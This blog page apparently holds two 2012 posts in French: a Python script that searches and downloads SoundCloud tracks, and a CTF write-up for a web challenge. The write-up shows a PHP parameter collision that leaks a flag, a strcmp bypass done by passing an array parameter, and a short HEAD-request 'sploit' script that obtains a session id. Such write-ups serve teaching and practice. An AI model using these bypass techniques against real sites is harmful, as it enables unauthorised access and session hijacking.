jeudi 16 février 2012

[Python snippet] SoundCloud Searcher & Downloader (Improvable)

# Name:    Soundcloud downloader & searcher (Based on Xartrick's Soundcloud Downloader)
# Version: 0.1
# Author:  nowz (Based on Xartrick's Soundcloud Downloader)


import os
import sys
import urllib2
import re

from urllib import urlretrieve

def fGetBetween(sString, sStart, sEnd):
 sSplit = sString.split(sStart)
 sSplit = sSplit[1].split(sEnd)
 
 return sSplit[0]
 
def fConvertString(sString):
 for i in range(32, 127):  
  sString = sString.replace("\\u00" + hex(i)[2 : 4].upper() + "amp;", chr(i)) # ASCII only
 
 return sString

def affichemenu():
    print ("------------------------(SEARCH)------------------------")
    print ("USAGE: %s search [what you search]" % (sys.argv[0]))
    print ("EXEMPLE: %s search Skrillex dubstep" % (sys.argv[0]))
    print ("-----------------------(DOWNLOAD)-----------------------")
    print ("USAGE: %s download [url]" % (sys.argv[0]))
    print ("EXEMPLE: %s download http://soundcloud.com/ill-gates/bassnectar-ill-gates-probable\n" % (sys.argv[0]))

def main(argv):
    if len(sys.argv) < 3:
        affichemenu()
        
    if len(sys.argv) >= 3:
        
        if sys.argv[1] == "search":
            search = "%20".join(str(i) for i in sys.argv[2:len(sys.argv)])
            search2 = " ".join(str(i) for i in sys.argv[2:len(sys.argv)])
            print ("[+] Recherche au sujet de : %s" % (search2))
            f = urllib2.urlopen("http://soundcloud.com/search?q[fulltext]=%s" % (search))
            data = f.read()
            gruik = re.findall("<a href=\"(.*)\">(.*)</a></h3>", data, re.I)
            number=0
            for i in gruik:
                print ("[#%s] Titre : %s \nLien: http://soundcloud.com%s" % (number+1, gruik[number][1], gruik[number][0]))
                number = number + 1
            
        elif sys.argv[1] == "download":
            sURL = sys.argv[2]
            oURL = urllib2.urlopen(sURL)
            sPage = oURL.read()
            sInformation = fGetBetween(sPage, "window.SC.bufferTracks.push({", "}});")
            sAuthor = fConvertString(fGetBetween(sInformation, '"username":"', '",'))
            sName = fConvertString(fGetBetween(sInformation, '"title":"', '",'))
            sLink = fGetBetween(sInformation, '"streamUrl":"', '",')
            sFile = os.getcwd() + "/" + sAuthor + " - " + sName + ".mp3"
            urlretrieve(sLink, sFile)
            print("\nAuthor: %s"   % (sAuthor))
            print("Name:   %s" % (sName))
            print("Link:   %s"   % (sLink)) 
            
        else:
            affichemenu()
        
    
    
if __name__ == "__main__":
    main(sys.argv[1:])

lundi 13 février 2012

IFSF - ForbiddenBits Write-UP #1

Bonjour à vous lecteurs,

Alors le CTF IFSF est fini, et les writes-up commencent à faire apparition sur sites des concurrents alors pourquoi pas nous et en Français.

Alors avant tout j'ai participé à ce CTF avec Zenk-Security ! c’était un plaisir de le faire avec eux. Il y avait une super ambiance et un super dynamisme !

Sur cette épreuve web nous remarquons que les pages passent par $_GET[] sous la forme :
index.php?organization // index.php?news
On provoque une collision en faisant :
index.php?organization&news

On obtient l'erreur suivante :
<b>Fatal error</b>: Cannot redeclare showPage_FLAG1_48NG9X9448HF4() (previously declared in /var/www/html/SECURITY_include_files_OBSCURITY/news.php:3) in <b>/var/www/html/SECURITY_include_files_OBSCURITY/members.php</b> on line <b>5</b><br />
On  a là notre premier flag et un dossier.
En visitant ce dossier on tombe sur un .gz du fichier member.php (attention les yeux, il était tout encrypté)
grâce à tlk_ et var_dump() on a réussi a obtenir quelques choses de clair.

$se=$GLOBALS["@@"];
$s=filesize($se);
$f=fopen($se,"r");
fseek($f,2794);
$ss=fread($f,$s-2794);
$Nv=hash("sha512",md5($s).md5($ss));
$Nv=$Nv.$Nv.$Nv;
$V=$GLOBALS["xij"]^$Nv;
if(!preg_match("/[^\x20-\x7f]/",$V)){$B=create_function("",$V);
@$B();
}

et


<?
function auth($X){
    if(!isset($_SESSION["loggedIn"])){
        $_SESSION["loggedIn"]=true;
        if(@$_GET["pass"]===$X[9])
            echo $X[8];
        else{
            echo $X[11];
            ob_flush();
            unset($_SESSION["loggedIn"]);
        }
    }
}
$j=@$_GET["4kXI0N"];
$f=file("params.php");
if(!@strcmp($j,"login")){
    if("login"===$_GET["4kXI0N"]){
        echo $f[16];
    }
    else{
        auth($f);
        echo $f[5];
    }
}
unset($GLOBALS);

On doit passer par index.php pour que params soit bien load est non par le dossier.
On voit que si la fonction $_GET["4kXI0N"] vaut login la fonction auth() est appelé ! On l'a alors essayé de la manière suivante :


  • http://208.64.122.29/?members&4kXI0N=login&pass=blah
On a eu un message "under construction"

Pour bypass le login on a fait de login un array en mettant :
  • http://208.64.122.29/?members&&4kXI0N[]=login&pass=blah
Et la on a une erreur avec le flag n°2, "Wrong password" ... donc le login est bien bypass.

FLAG_2:
EJZ94374F4Z_ZEF43

Maintenant pour bypass le password on a trouvé ce paper qui nous a bien : 
et tlk_ a pu coder ceci : 

#!/usr/bin/env python
# encoding: utf-8
"""
sploit.py
"""

import httplib

def main():
    conn = httplib.HTTPConnection("208.64.122.29")
    conn.request("HEAD","/?members&4kXI0N[]=login")
    reponse = conn.getresponse()
    print(reponse.getheaders())

if __name__ == '__main__':
    main()

Ce qui nous a permis d'obtenir un SESSID, on modifiait nos cookies pour remplacer notre PHPSESSID par celui qu'on a obtenu, et on obtenait le dernier FLAG